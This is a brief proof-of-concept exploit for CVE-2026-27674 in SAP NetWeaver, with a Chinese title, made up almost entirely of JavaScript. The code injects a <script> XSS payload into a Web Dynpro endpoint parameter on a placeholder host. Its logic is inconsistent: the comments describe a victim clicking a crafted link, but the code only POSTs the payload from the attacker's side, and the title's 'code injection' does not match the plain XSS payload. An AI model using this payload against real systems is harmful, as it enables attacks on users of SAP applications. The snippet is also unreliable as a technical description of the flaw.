CVE-2026-27674 SAP NetWeaver代码注入漏洞

// PoC for CVE-2026-27674 // This demonstrates how an attacker might inject a script payload. var vulnerableParam = "<script>alert('XSS - CVE-2026-27674');</script>"; var url = "https://target-server.com/web_dynpro_endpoint?input=" + encodeURIComponent(vulnerableParam); // Attacker sends this link to the victim. // When victim clicks, the script executes in their browser context. fetch(url, { method: 'POST', body: "data=" + vulnerableParam }) .then(response => console.log('Payload sent'));